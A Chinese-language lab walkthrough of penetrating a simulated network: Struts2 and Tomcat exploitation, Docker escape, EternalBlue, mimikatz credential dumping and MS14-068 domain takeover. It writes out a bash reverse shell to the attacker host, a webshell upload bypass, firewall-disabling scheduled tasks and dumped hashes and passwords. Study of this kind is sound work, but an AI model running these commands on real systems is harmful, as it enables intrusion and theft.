环境说明
机器密码:
Ubuntu:ubuntu
win7:douser:Dotest
DC:administrator:admin@123
IP地址:
kali:192.168.30.129
Ubuntu:192.168.30.130 192.168.121.131
win7:192.168.121.132
DC:192.168.121.133
WEB信息收集:
使用nmap对目标主机进行扫描,发现了主机192.168.30.130,并发现其开启了22、2001、2002、2003端口,都开启了tcp服务。
struts2漏洞
浏览器中进行访问主机的2001端口,此时可以看到浏览的结果,上传文件后发现没有任何反应,此时发现上传之后url的后缀名发现是以.action结尾的,action可能是Java语言编写的,判断可能存在struts2的漏洞。
使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞 :
使用S2-046漏洞发现能够命令回显。命令执行,可以看到存在一个IP地址为172.20.0.2的地址:
查看系统进程的cgroup信息,发现有docker:
在kali中开启一个监听:
在struts2内执行反弹shell的命令:bash -i >& /dev/tcp/192.168.30.129/6666 0>&1
可以看到kali中能够成功的拿到shell,进行查看时也能查看是否存在 dockerrnv 文件。此时确定是在docker中,因此需要进行docker逃逸
通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。在进行挂载的时候发现没有可以挂载的光盘,无法挂载光盘,就无法向下进行,逃逸失败。然后进行查看其他端口
Tomcat漏洞
2002端口是一个apache tomcat 8.5.19
对该版本的tomcat进行漏洞查找,发现该版本存在CVE-2017-12617漏洞,这个漏洞CVE- 2017-12615是 Tomcat远程代码执行漏洞(PUT请求),可以使用PUT方法上传任意文件
用burpsuite进行抓包:
尝试上传文件能够成功上传:
同时发现对jsp文件的上传进行了限制:
使用godzilla生成一个木马文件:
生成后打开查看,然后把此文件复制到burpsuite进行上传 :
由于不能直接上传jsp文件所以,我们在jsp后添加一个/发现就能成功的上传:
上传完成后,在浏览器中进行访问可以成功的访问
在godzilla的目标中点击添加刚刚上传的木马进行连接
添加成功后进入shell管理页面:
进行查看根目录下的的文件发现了docker的dokerenv文件
docker逃逸
进行查看光盘时,可以看到能够挂载的光盘:
创建一个文件,把光盘sda1挂载到该文件下:
进行挂载后,再次查看可以发现宿主主机中的一些文件
提权:
尝试进行修改这些文件发现,能够进行修改文件,然后在相同版本的ubuntu中进行创建用户密码,复制到此文件中
ssy:x:1002:1002:,,,:/home/ssy:/bin/bash
ssy:$6$V51Rtm67$h4GQbTsEN2OmT15pJ0ejPXEweM274J2KzGO7MHWYSdCzK5spGaPYcMaCJR7tbMYfV7eTimdYlRcnqlsukGXyV0:19646:0:99999:7:::
使用ssh连接ubuntu即可,到此我们才真正意义上拿到了ubuntu的权限:
进行提权时,发现ssy不在 sudoers 文件中,不能进行提权:
进行修改sudoer允许di9zu用户使用sudo命令进行提权
此时已经能够拿到root的权限了
查看网卡信息发现还存在一块网卡信息
在kali中进行访问另一块网卡发现无法通信,推测该网卡还连接着其他内网主机
上线宿主机到msf,生成一个木马文件,上传到ubuntu执行
开启一个http服务 :
在浏览器中进行浏览该文件
在ubuntu中进行下载木马文件,并赋于该文件的执行权限 :
开启一个msf监听,使用msf接收会话,执行完木马文件,可以看到msf中能够成功上线 :
在ubuntu中进行执行制作的shell.elf木马文件
成功上线:
内网渗透:
扫描内网主机端口
由于上面已经知道了ubuntu还存在另外一张网卡连接着其他的主机,上传一个扫描工具fscan进行全方位的进行对192.168.121.0/24网段进行漏洞扫描
可以看到扫描结果中有,该网段中存在另外的两台主机,分别为Windows7和Windows server 2008,IP地址分别为192.168.183.129和192.168.183.130,而且两台主机还都开启了445端口还可能存在ms17_010漏洞,而且Windows server 2008还是一个DC
端口转发
由于在kali无法直接对该网段进行访问,在ubuntu中添加路由的信息。使用route命令可以借助meterpreter会话进一步msf渗透内网,已经拿下并产生meterpreter反弹会话的主机可能出于内网之中。
由于内网无法直接访问,使用代理进行访问,配置代理并执行
利用永恒之蓝获得win7
kali中自带代理的模块,对全局代理的配置文件进行修改,与msf中开启的代理模块的信息匹配一致
使用全局代理开启msfconsole
由于用fscan进行扫描后发现有可能存在ms17_010漏洞,使用msf再次进行扫描看是否存在ms17_010漏洞
设置扫描的IP地址段:
扫描发现两台主机还是可能存在ms17_010漏洞
利用ms17_010漏洞对两台主机进行渗透测试,先利用ms17_010漏洞对win7这台主机进行测试
有的时候可能会提示异常,多run几次
再开启一个窗口进行尝试攻击Windows server 2008,发现不可行
上面得到了权限后进入到win7中:
乱码使用chcp 65001
查看这台主机的系统信息,可以发现这台主机存在域demo中
C:\Windows\system32>systeminfo
systeminfo
Host Name: TESTWIN7-PC
OS Name: Microsoft Windows 7 企业版
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Member Workstation
OS Build Type: Multiprocessor Free
Registered Owner: testwin7
Registered Organization:
Product ID: 00392-918-5000002-85176
Original Install Date: 2019/12/31, 10:38:42
System Boot Time: 2023/9/26, 15:43:52
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 141 Stepping 1 GenuineIntel ~2304 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 2020/11/12
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: zh-cn;Chinese (China)
Input Locale: zh-cn;Chinese (China)
Time Zone: (UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,381 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,340 MB
Virtual Memory: In Use: 755 MB
Page File Location(s): C:\pagefile.sys
Domain: demo.com
Logon Server: N/A
Hotfix(s): 37 Hotfix(s) Installed.
[01]: KB2491683
[02]: KB2534111
[03]: KB2564958
[04]: KB2621440
[05]: KB2653956
[06]: KB2654428
[07]: KB2698365
[08]: KB2705219
[09]: KB2736422
[10]: KB2813430
[11]: KB2900986
[12]: KB2937610
[13]: KB2943357
[14]: KB2978120
[15]: KB2984972
[16]: KB2992611
[17]: KB2999226
[18]: KB3004375
[19]: KB3010788
[20]: KB3023215
[21]: KB3031432
[22]: KB3035126
[23]: KB3037574
[24]: KB3045685
[25]: KB3046269
[26]: KB3072305
[27]: KB3074543
[28]: KB3086255
[29]: KB3097989
[30]: KB3101722
[31]: KB3108371
[32]: KB3122648
[33]: KB3127220
[34]: KB3155178
[35]: KB4019990
[36]: KB4040980
[37]: KB976902
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: 本地连接
DHCP Enabled: Yes
DHCP Server: 192.168.121.255
IP address(es)
[01]: 192.168.121.132
[02]: fe80::9c7f:b4ce:baa0:e711
使用Dos命令net view查看了当前的网络计算机列表,发现有两台主机,由于在用fscan进行扫描时发现了DC也就是域控是Windows server 2008,所以win7也就是demo域中的域成员
在win7中还能够成功的ping通另一台主机Windows server 2008
尝试查看win7中存在的用户,发现有douser、testclone和testwin7三个用户
mimikatz抓取密码
获取用户之后,进一步获取用户的密码。把明文密码抓取工具mimikatz上传到kali中,通过kali上传到win7中
上传后,进行查看可以看到已经成功上传
在win7中执行mimikatz.exe,使用privilege::debug进行提权。提示权限不够不能够获取调试权限
使用exit回到meterpreter里面使用令牌窃取SYSTEM权限之后再进行mimikatz密码进行抓取
impersonate_token "NT AUTHORITY\SYSTEM"
再次执行mimikatz.exe进入到mimikatz中进行执行privilege::debug提取权限,可以看到成功提权
使用sekurlsa::logonpasswords命令进行抓取明文密码,可以看到能够成功的抓取win7中SID和用户douser的明文密码为Dotest123
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 306178 (00000000:0004ac02)
Session : Interactive from 1
User Name : douser
Domain : DEMO
Logon Server : WIN-ENS2VR5TR3N
Logon Time : 2023/9/26 15:44:25
SID : S-1-5-21-979886063-1111900045-1414766810-1107
msv :
[00010000] CredentialKeys
* NTLM : bc23b0b4d5bf5ff42bc61fb62e13886e
* SHA1 : c48096437367aad00ac2dc70552051cd84912a55
[00000003] Primary
* Username : douser
* Domain : DEMO
* NTLM : bc23b0b4d5bf5ff42bc61fb62e13886e
* SHA1 : c48096437367aad00ac2dc70552051cd84912a55
tspkg :
wdigest :
* Username : douser
* Domain : DEMO
* Password : Dotest123
kerberos :
* Username : douser
* Domain : DEMO.COM
* Password : Dotest123
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2023/9/26 15:44:02
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : TESTWIN7-PC$
Domain : DEMO
Logon Server : (null)
Logon Time : 2023/9/26 15:44:02
SID : S-1-5-20
msv :
[00000003] Primary
* Username : TESTWIN7-PC$
* Domain : DEMO
* NTLM : e3ba914bdaca29c197c7191ebf521873
* SHA1 : 68a1422322c303e4c24d63f381a03b34eb434477
tspkg :
wdigest :
* Username : TESTWIN7-PC$
* Domain : DEMO
* Password : /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr
kerberos :
* Username : testwin7-pc$
* Domain : demo.com
* Password : /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr
ssp :
credman :
Authentication Id : 0 ; 48746 (00000000:0000be6a)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2023/9/26 15:44:02
SID :
msv :
[00000003] Primary
* Username : TESTWIN7-PC$
* Domain : DEMO
* NTLM : e3ba914bdaca29c197c7191ebf521873
* SHA1 : 68a1422322c303e4c24d63f381a03b34eb434477
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : TESTWIN7-PC$
Domain : DEMO
Logon Server : (null)
Logon Time : 2023/9/26 15:44:02
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : TESTWIN7-PC$
* Domain : DEMO
* Password : /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr
kerberos :
* Username : testwin7-pc$
* Domain : DEMO.COM
* Password : /-LDA[1d hf-tfj)O)yNyCgh[o#D[h7I/*-'ShnKX%X7`wWWdrLDd`!EUceLQ8:y!J?TD5KY*iuQ32i8He_D#JyWDWIzuYDDytr)\J7(_e(Fctsjl.Zd"JRr
ssp :
credman :
域横向移动
利用Kerberos 域用户提权漏洞获得域控WIN2008
拿到了域成员的帐号和密码后,直接使用一个ptt伪造票据来拿到域控权限,利用mimikatz注入票据。
生成一个高权限票据:
MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.121.133 -p Dotest123
在注入之前先查看注入前的权限,此时发现权限不够
清除内存中的所有票据:
打开mimikatz
输入kerberos::purge
当看到"Ticket(s) purge for current session is OK'时,表示清除成功
将高权限的票据注入内存:
kerberos::ptc "TGT_user1@pentest.com.ccache"(双引号里面的是票据的名字)
kerberos::ptc "TGT_douser@DEMO.COM.ccache"
注入票据后再次查看权限,能够成功的查取
能够成功的查看另一台主机Windows server2008的目录信息
上传msf马到域控
在kali中生成一个正向连接的木马文件,上传到Windows server2008中
由于无法直接访问主机Windows server2008,先上传到win7中
再通过win7上传到Windows server 2008中
木马上传成功后,创建服务执行木马文件,并用msf接受会话
使用copy命令复制到Windows server 2008上后使用sc创建计划任务
schtasks /create /S WIN-ENS2VR5TR3N /TN "test2" /TR C:\1.bat /SC MINUTE /MO 1 /ru system /f /RP
关闭Windows server 2008的防火墙
echo netsh advfirewall set allprofiles state off >1.bat
schtasks /create /S WIN-ENS2VR5TR3N /TN "test2" /TR C:\1.bat /SC MINUTE /MO 1 /ru system /f /RP
在监听界面等待一会后,可以看的监听段已经执行成功拿到权限
进入系统中进行查看系统信息,发现该主机也没有打KB3011780补丁
C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001
C:\Windows\system32>systeminfo
systeminfo
Host Name: WIN-ENS2VR5TR3N
OS Name: Microsoft Windows Server 2008 HPC Edition
OS Version: 6.1.7601 Service Pack 1 Build 7601
OS Manufacturer: Microsoft Corporation
OS Configuration: Primary Domain Controller
OS Build Type: Multiprocessor Free
Registered Owner: Windows 用户
Registered Organization:
Product ID: 55041-001-0000052-84607
Original Install Date: 2019/12/31, 10:44:44
System Boot Time: 2023/9/26, 15:44:18
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: Intel64 Family 6 Model 141 Stepping 1 GenuineIntel ~2304 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 2020/11/12
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: zh-cn;Chinese (China)
Input Locale: zh-cn;Chinese (China)
Time Zone: (UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi
Total Physical Memory: 2,047 MB
Available Physical Memory: 1,426 MB
Virtual Memory: Max Size: 4,095 MB
Virtual Memory: Available: 3,480 MB
Virtual Memory: In Use: 615 MB
Page File Location(s): C:\pagefile.sys
Domain: demo.com
Logon Server: N/A
Hotfix(s): 2 Hotfix(s) Installed.
[01]: KB2999226
[02]: KB976902
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: 本地连接
DHCP Enabled: Yes
DHCP Server: 192.168.121.255
IP address(es)
[01]: 192.168.121.133
[02]: fe80::49da:94d1:8614:1fcd
查看该主机所存在的用户
查看域中的主域,发现主域为自己
查看主机,一共两台主机,发现没有其他的域成员机了,则证明已经打通了所有的主机
mimikatz抓取密码
上面查看系统信息发现这台主机也没有打KB3011780的补丁,上传mimikatz进行抓取密码
可以看到成功的上传了mimikatz
执行mimikatz, 使用令牌窃取SYSTEM权限之后进行mimikatz密码进行抓取 、
mimikatz # sekurlsa::logonpasswords
由于没有明文密码,此时使用lsadump::lsa /patch读取所有域用户的哈希
借助解密软件对administrator的NTLM进行解密579da618cfbfa85247acf1f800a280a4,发现密码为admin@123
远程登陆域控
开启远程桌面
在kali中开启远程桌面